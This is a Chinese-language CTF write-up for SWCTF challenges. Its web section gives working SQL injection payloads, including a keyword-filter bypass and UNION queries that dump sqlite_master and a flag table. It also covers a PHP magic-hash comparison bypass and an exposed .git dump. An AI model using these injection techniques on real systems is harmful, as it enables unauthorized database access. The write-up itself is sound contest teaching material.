# QQ ㄋㄟㄋㄟ好打到咩噗CTF - 靜宜 write-up
###### tags: `CMRDB` `CTF` `Security`
[TOC]
## 靜宜 - Web
### 🐘
題目敘述:PHP is the best language in the world
http://swctf.hackersir.org:20003
:::spoiler source code
```php=
<?php
if (isset($_GET['source'])) {
highlight_file(__FILE__);
exit();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>php🐘</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
</head>
<body>
<nav class="navbar navbar-expand-sm navbar-light bg-light">
<a class="navbar-brand" href="#">CMRDB</a>
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="/">Home<span class="sr-only">(current)</span></a>
</li>
<li class="nav-item active">
<a class="nav-link" href="/?source=1" target="_blank">Source<span class="sr-only"></span></a>
</li>
</ul>
</nav>
<h1 class="text-center mt-3">php🐘</h1>
<div class="container mt-5">
<?php
include("flag.php");
if (isset($_GET['🐘']) && $_GET['🐘'] != '') {
$answer = htmlspecialchars($_GET['🐘']);
if (substr(md5("CMRDB" . $answer), 0, 6) == md5("s1885207154a")) {
echo '<div class="alert alert-success" role="alert">Success</br> This is your flag: ' . $flag . '</div>';
} else {
echo '<div class="alert alert-dark" role="alert">Wrong Answer</div>';
}
} else {
?>
<div class="alert alert-dark" role="alert">
<?php echo "substr(md5(\"CMRDB\" . \"Your Answer\"), 0, 6) == md5(\"s1885207154a\")</br>"; ?>
</div>
<form action="/" method="GET">
<div class="form-group">
<label for="InputAnswer">Answer</label>
<input name="🐘" type="text" class="form-control" id="InputAnswer" aria-describedby="answerHelp" placeholder="Enter answer">
<small id="answerHelp" class="form-text text-muted">Enter your answer here</small>
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
<?php
}
?>
</div>
</body>
</html>
```
:::
FLAG:`SWCTF{n0w_u_kn0w_wh@t_15_md5}`
#### solution
題目只要讓等式成立就可以獲得解,PHP 弱等於會將 md5() 後 0e 開頭的字轉轉為整數,如果兩邊 md5() 後的開頭都為 0e 答案即為 true,確認後 `s1885207154a` md5() 後的值為 `0e509367213418206700842008763514`
```php=
substr(md5("CMRDB" . "Your Answer"), 0, 6) == md5("s1885207154a")
```
我們只需寫個腳本找出 `md5("CMRDB" . "Your Answer")` 開頭為 0e 的數,提交後就能拿到 flag 了
```python=
import hashlib
answer = 0
while True:
string = "CMRDB" + str(answer)
if hashlib.md5(string.encode()).hexdigest()[:2] == "0e":
print("answer:" + str(answer))
break
else:
answer += 1
```
### My first SQL Injection
題目敘述:小明想成為跟 TIM 哥一樣厲害的駭客,正在自學資訊安全,研究完 SQL Injection 後想要小試身手
http://swctf.hackersir.org:20002
:::spoiler source code
```php=
<?php
include('flag.php');
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
if (isset($_GET['account']) && isset($_GET['password'])) {
$account = $_GET['account'];
$password = md5($_GET['password']);
}
$not_good = [' ', 'or', 'and', '--', '#', '/*', '*/'];
$account = str_ireplace($not_good, '', $account);
$row = (new SQLite3('/db.sqlite3'))
->querySingle("SELECT * FROM users WHERE account = '$account' AND password = '$password'", true);
if ($row) {
echo $flag;
} else {
highlight_file(__FILE__);
}
```
:::

FLAG:`SWCTF{t1i5_i5_th3_r3a1_flag}`
#### solution
從題目以及原始碼可以看出是要 SQL Injection
```php=
$row = (new SQLite3('/db.sqlite3'))
->querySingle("SELECT * FROM users WHERE account = '$account' AND password = '$password'", true);
if ($row) {
echo $flag;
} else {
highlight_file(__FILE__);
}
```
並且敏感字元通過 str_ireplace 過濾掉了,要繞過過濾只需要敏感字元在過濾後是正常的就可以
1. 將 `oorr` 輸入過濾後的結果就會是 `or`,以此類推
2. 空格可以使用`/**/`代替,為了迴避過濾所以須改為`//****//`
```php=
$not_good = [' ', 'or', 'and', '--', '#', '/*', '*/'];
$account = str_ireplace($not_good, '', $account);
```
整理好 SQL 語法後對敏感字元做修改,輸入後即可得到解
```
account='or 1=1--&password=test # 攻擊 url
account=%27oorr//****//1=1-/*-&password=test # 修改敏感字元
```
### Advanced SQL Injection
題目敘述:為了跟上 TIM 哥的腳步,小明持續深入研究 SQL Injection,聽說有種手法是利用 Union 作攻擊
http://swctf.hackersir.org:20000
:::spoiler source code
```php=
<?php
if (isset($_GET['source'])) {
highlight_file(__FILE__);
exit();
}
if (isset($_GET['action']) && $_GET['action'] == 'logout') {
setcookie("userinfo", "", time() - 3600);
die("<script>window.location.replace('/');</script>");
} else if (isset($_POST['account']) && isset($_POST['password'])) {
$account = $_POST['account'];
$password = md5($_POST['password']);
setcookie("userinfo", json_encode($row), time() + 3600 * 24, "/");
$row = (new SQLite3('/db.sqlite3'))
->querySingle("SELECT * FROM users WHERE account = '$account' AND password = '$password'", true);
if (!$row) {
$error = "Login Fail";
} else {
setcookie("userinfo", json_encode($row), time() + 3600 * 24, "/");
die("<script>window.location.replace('/');</script>");
}
}
$user = json_decode($_COOKIE['userinfo']);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SQL Injection</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
</head>
<body class="bg-white">
<nav class="navbar navbar-expand-sm navbar-light bg-light">
<a class="navbar-brand" href="#">CMRDB</a>
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="/">Home<span class="sr-only">(current)</span></a>
</li>
<li class="nav-item">
<a class="nav-link" href="/?source=1" target="_blank">Source<span class="sr-only"></span></a>
</li>
<?php if ($user) { ?>
<li class="nav-item">
<a class="nav-link" href="/?action=logout">logout<span class="sr-only"></span></a>
</li>
<?php } ?>
</ul>
</nav>
<div class="container">
<h1 class="text-center mb-3 mt-3">Advanced SQL Injection</h1>
<?php
if (!$user) {
?>
<!-- account = admin & password = admin -->
<form method="POST">
<div class="form-group">
<label for="Account">Account</label>
<input type="text" class="form-control" id="Account" name="account">
</div>
<div class="form-group">
<label for="Password">Password</label>
<input type="password" class="form-control" id="Password" name="password">
</div>
<button type="submit" class="btn btn-primary">Login</button>
</form>
<?php
} else {
?>
<div class='alert alert-success' role='alert'>
Hi, <?= $user->name ?><br>
The flag is in the database.
</div>
<?php
}
?>
</div>
</body>
</html>
```
:::
FLAG:`SWCTF{c0ngratu1ati0n5_u_find_th3_f1ag}`
#### solution
題目提示這題為 SQL Union Injection,所以首先先從猜測表格數開始,落欄位不同則會跳出錯誤,可以得知欄位數有4格,且第二格會顯示在畫面上
```
# 欄位數量猜測
account=' union select 1--
account=' union select 1,2--
account=' union select 1,2,3--
account=' union select 1,2,3,4--
```

接下來將系統表 union 出來,從原始碼可以得知 database 為 sqlite,所以系統表明稱為 `sqlite_master`,我們先將 sqlite_master 的 sql 欄位顯示出來,可以得知有個叫做 flag 的 table,裡面有 flag 的欄位
> 可以使用 group_concat() 將資料合成一筆一次顯示[color=red]
```
注入
account=' union select 1,(select group_concat(sql) from sqlite_master),3,4--
# 輸出
Hi, CREATE TABLE users ( id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, account TEXT, password TEXT ),CREATE TABLE sqlite_sequence(name,seq),CREATE TABLE flag ( id INTEGER PRIMARY KEY AUTOINCREMENT, flag TEXT )
The flag is in the database.
```
將 flag union 出來,使用上一步相同方法,就可以獲得 flag 了
```
注入
account=' union select 1,(select group_concat(flag) from flag),3,4--
# 輸出
Hi, you are close,you are more closer,almost there,SWCTF{c0ngratu1ati0n5_u_find_th3_f1ag}
The flag is in the database.
```
### Git
題目敘述:小明為了學習網頁安全,正在學習如何撰寫網頁,並且使用工程師必備工具 git 做版本控管。
http://swctf.hackersir.org:20001
FLAG:`SWCTF{g1t_13ak_15_easy}`
#### solution
1. 查看 /.git/HEAD 是否能夠讀取
2. 利用 [GitHacker](https://github.com/WangYihang/GitHacker) 將 .git dump 下來
`python3 GitHacker.py http://swctf.hackersir.org:20001/.git/`
3. 進入 dump 下來的目錄查看 log,可以看到上個版本的 commit 為 `add flag.txt`,因此要想辦法倒回上個版本
```
git log --oneline
8266d82 (HEAD -> master) add my first website page and delete flag.txt
aa54633 add flag.txt
```
4. 倒回上個版本方法很多,可以使用`git checkout aa54633`直接查看,也可以用`git reset HEAD^`後用`git diff`查看
5. 只後只要查看 flag.txt 就獲得 flag 了
## 靜宜 - Crypto
### NOKIA 3310
題目敘述:你知道如何使用手機傳簡訊嗎?
FLAG:`SWCTF{nokiaisaspecialmyththatyouknow}`
#### solution
1. 先把數字兩兩一組
2. 打開手機撥打電話的介面,對照數字鍵盤
:::spoiler 展開有圖可對照

:::

3. 所獲字串為解答 Flag
### Let’s Dance
題目敘述:福爾摩斯將訊息進行字母替換並使用某次案件的暗號,將其與助手共享。在此次案件中福爾摩斯的助手在一張紙上留下訊息暗號。

FLAG:`SWCTF{the_murderer_is_the_author}`
#### solution
1. 搜尋圖片中小人可以得知與其對應的英文字母

2. 對照後獲得
`gur_zheqrere_vf_gur_nhgube`
3. 根據題目訊息得知福爾摩斯還將字母進行替換,所以上一步所獲得的內容並非所求。因此丟入與替換位移相關加密法進行嘗試。
Caesar : 位移13位,可獲得有意義的字串。
ROT13 : 可直接得到有意義的字串。
4. 所獲字串為解答 Flag
### 天雨粟 鬼夜哭
題目敘述:小邪手中握著三叔留給他的訊息,看著爺爺書櫃裡的《淮南子》、《說文解字》、《呂氏春秋》、《荀子》、《韓非子》、《大正藏》被擺放的十分整齊,回想著三叔說過的話:「這些書裡紀錄了一位你爺爺的非常尊敬的人,他和文昌帝君有所關聯。這張紙上除了我們現代的編譯還用了因那位人物所衍伸出的智慧,我相信小邪一定可以破解。」 紙條內容:BJ4X06T/65K3DK3QU/6VUP45J/U6FU,4U6C04
FLAG:`SWCTF{OHMBWGIHSJKAMNRMFJPLMPSHYLMCPIRP}`
#### solution
1. 綜合題目中所述的幾本書、題目名稱皆有提到的人物是倉頡。與文昌帝君有所連結的部分為兩人誕辰同日,且通常會被人們恭奉於同一間廟宇。
2. 倉頡輸入法之所以命名為倉頡正是因為發明者向倉頡致敬,因此將輸入法命名為倉頡。
3. 現代的編譯其實是用電腦鍵盤對照產生,因此紙條內容的中文是
```
入雷城者可平心中一切遺憾
```
4. 將文字查找對應倉頡輸入法,並轉換成英文

### Prison life
題目敘述:或許學會如何與囚犯溝通也很重要。(皆為小寫)
```
..... .... .. .... ..... .... .... ..... . ..... .. ..... .. .... . .... .. .... ... ... .. ..
..... .. . . ... ... .... ... .. ... . . ... ... ..... .. .... ..... ..... ..... .... .....
```
FLAG:`SWCTF{yiyuejidingwanshanwuzu}`
solution:
典型敲擊碼,將點依照空白分兩個一組,後對照表格先列後欄,即可獲得 Flag

### A letter
題目敘述:嘿!你還記得我們第一次見面你告訴我的「不可破譯的密碼」嗎?這次我把關鍵內容放在這首詩裡,或許你能夠解讀出我想告訴你的話。

FLAG:`SWCTF{Information_Security_is_as_extensive_and_profound_as_Chinese}`
#### solution
1. 「不可破譯的密碼」 => Vigenère cipher
2. key 在詩中(轉成英文,答案在左上角)

4. 將上方字串與 key 使用 Vigenère cipher 對照
5. 所獲字串為解答 Flag
### MOS
題目敘述:你工作上的前輩要離職了 前輩在把工作交接給你的時候把有加密的USB和兩串摩斯密碼給你 「這裡面有我們珍藏的片子,去解開它,然後傳承下去!!」
1. 請轉成大寫
2. 第二行為key
3. %u7b為"{"
4. %u7d為"}"
FLAG:SWCTF{Q1KIUIO0R6FSVQ@7FHUS}
solution:
1. 到這個網站
http://ctf.ssleye.com/
解開摩斯密碼
`lvezy%u7bj1aoxog0k6ylcj@7yixl%u7d`
`qwertyuiopasdfghjklzxcvbnm`
得出這兩組密碼
2. 將%u7b替換為"{"
將%u7d替換為"{"
得lvezy{j1aoxog0k6ylcj@7yixl}
3. 用簡單換為密碼解開
得swctf{q1kiuio0r6fsvq@7fhus}
轉換成大寫
### Historic Site Tour
題目敘述:還記得曾經說過要介紹家鄉的古蹟給你,但一直沒機會,不如就用這次機會讓你自己走一遭吧!我把他們的座標給你,期待你把這些重要的古蹟找出來!(若是英文則皆為小寫)

FLAG:`SWCTF{hsinchustation_yingximen_hsinchumunicipalgovernmenthall_hsinchucitygodtemple}`
#### solution
1. 依據題目可得知圖片內容為四個座標
2. 將內容根據羅盤轉為數字,以三為例:

3. 將得到之座標放進 Google 搜尋,可獲得:
24.801606, 120.97161 (火車站 Hsinchu Station)
24.804212,120.970199 (迎曦門 Yingximen)
24.806708,120.968824 (新竹州廳 Hsinchu Municipal Government Hall)
24.804453,120.966066 (城隍廟 Hsinchu City God Temple)
4. 將四個地點的英文串聯,中間以底線(_)相連,獲得 Flag
## 靜宜 - Reverse
### easy reverse
題目敘述:無
FLAG:`SWCTF{fm42kb1.gvf}`
#### solution
1. 打開靜態逆向ida pro
2. 可從程式流程圖中發現print flag的程式碼
3. 
## 靜宜 - MISC
### PNG
題目敘述:你所在的部隊規定傳達訊息時,必須隱藏在圖片中 而傳送圖片的過程中因不明原因損毀 請嘗試修復並找出訊息
FLAG:`SWCTF{QTQi3NcgqFcB5RJNvyqe}`
#### solution
1. 用16進位法打開檔案
png修復檔案標示
89 50 4E 47 0D 0A 1A 0A
修復IHDR
49 48 44 52
修復IDAT
49 44 41 54
2. 修改附檔名.png
如有顯示圖片表示成功
3. 到這個網站
https://stylesuxx.github.io/steganography/
解碼後可得 flag